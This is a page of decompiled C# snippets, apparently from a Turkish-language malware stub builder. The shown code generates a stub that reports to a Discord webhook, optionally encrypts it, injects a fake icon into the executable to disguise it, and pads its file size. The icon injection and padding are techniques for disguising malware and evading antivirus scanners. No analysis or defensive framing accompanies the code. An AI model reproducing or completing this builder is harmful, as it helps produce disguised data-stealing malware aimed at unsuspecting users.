Пример #1
0
 // Token: 0x06000020 RID: 32 RVA: 0x0011F6D4 File Offset: 0x0011DAD4
 public static void InjectIcon(string exeFileName, string iconFileName)
 {
     IconInjector.InjectIcon(exeFileName, iconFileName, 1U, 1U);
 }
Пример #2
0
 public static void InjectIcon(string exeFileName, byte[] array)
 {
     IconInjector.InjectIcon(exeFileName, array, 1U, 1U);
 }
Пример #3
0
        private void button2_Click_1(object sender, EventArgs e)
        {
            if (label3.ForeColor == Color.Red)
            {
                PrintErrorToLog(richTextBox1, "Lütfen geçerli bir Discord Webhook'u girin!");
                button2.Enabled = true;
                return;
            }

            try
            {
                GenerateStub(
                    textBox4.Text + textBox5.Text,
                    checkBox2.Checked,
                    checkBox3.Checked,
                    checkBox1.Checked,
                    trackBar1.Value,
                    checkBox4.Checked,
                    textBox3.Text,
                    textBox6.Text,
                    checkBox6.Checked,
                    checkBox5.Checked,
                    textBox1.Text
                    );
            }
            catch
            {
                PrintErrorToLog(richTextBox1, "Dosya oluşturulurken hata oluştu!");
                button2.Enabled = true;;
                return;
            }
            if (checkBox4.Checked)
            {
                PrintSuccessToLog(richTextBox1, textBox5.Text + " Dosyası şifrelendi!");
            }
            PrintSuccessToLog(richTextBox1, textBox5.Text + " Dosyası oluşturuldu!");


            if (selected_exe_icon != null)
            {
                try
                {
                    string       s  = System.IO.Path.GetTempPath() + Guid.NewGuid().ToString() + ".ico";
                    MemoryStream ms = new MemoryStream();
                    selected_exe_icon.Save(0, ms);
                    IconInjector.InjectIcon(textBox4.Text + textBox5.Text, ms.ToArray());
                    PrintSuccessToLog(richTextBox1, "Dosya ikonu değiştirildi!");
                    ms.Close();
                }
                catch
                {
                    PrintErrorToLog(richTextBox1, "Dosyaya ikon eklenirken hata oluştu!");
                    button2.Enabled = true;
                    return;
                }
            }

            if (selected_icon != null)
            {
                try
                {
                    IconInjector.InjectIcon(textBox4.Text + textBox5.Text, selected_icon);
                    PrintSuccessToLog(richTextBox1, "Dosya ikonu değiştirildi!");
                }
                catch
                {
                    PrintErrorToLog(richTextBox1, "Dosyaya ikon eklenirken hata oluştu!");
                    button2.Enabled = true;
                    return;
                }
            }

            if (trackBar2.Value != 0)
            {
                BumpStub(textBox4.Text + textBox5.Text, trackBar2.Value);
                PrintSuccessToLog(richTextBox1, "Dosyanın boyutu " + trackBar2.Value.ToString() + " MB arttırıldı!");
            }

            button2.Enabled = true;
            MessageBox.Show("Dosyanız oluşturuldu!",
                            "Başarılı!",
                            MessageBoxButtons.OK,
                            MessageBoxIcon.Exclamation,
                            MessageBoxDefaultButton.Button1
                            );
        }